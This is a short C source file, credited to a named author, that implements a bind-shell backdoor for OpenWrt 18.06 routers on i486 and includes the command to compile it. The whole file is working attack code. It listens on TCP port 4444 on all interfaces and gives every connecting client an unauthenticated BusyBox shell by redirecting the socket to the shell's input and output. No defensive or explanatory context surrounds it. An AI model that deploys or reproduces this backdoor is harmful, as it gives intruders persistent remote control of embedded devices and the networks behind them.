Bind shell network backdoor for embedded devices (tested on OpenWrt 18.06 firmware)

bindshell-stable.c

#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>
#define BACKDOOR_PORT 4444

 /* Author: Piyush Raj (0x48piraj)
  * Bind Shell for OpenWrt 18.06 firmware
  * Arch : i486
  * ./i486-openwrt-linux-musl-gcc bindshell-stable.c -o bindshell
  */

int main()
{
    int c_sock;
    int dup2(int oldfd, int newfd);
    int execve(const char *path, char *args[], char envp[]);
    char *banner = "[~] Welcome to @0x48piraj's Bind Shell\n";

    char *args[] = { "/bin/busybox", "sh", (char *) 0 };
    int h_sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in h_addr;
    h_addr.sin_family = AF_INET;
    h_addr.sin_port = htons(BACKDOOR_PORT);
    h_addr.sin_addr.s_addr = INADDR_ANY;
    bind(h_sock, (struct sockaddr *)&h_addr, sizeof(h_addr));
    listen(h_sock, 0);
    while ((c_sock = accept(h_sock, NULL, NULL)) > 0) {
      if (!fork ()) {
        send(c_sock , banner , strlen(banner) , 0);
        dup2(c_sock, 0);
        dup2(c_sock, 1);
        dup2(c_sock, 2);
        execve("/bin/busybox", args, (char *) 0);
      }
    }
return 0;
}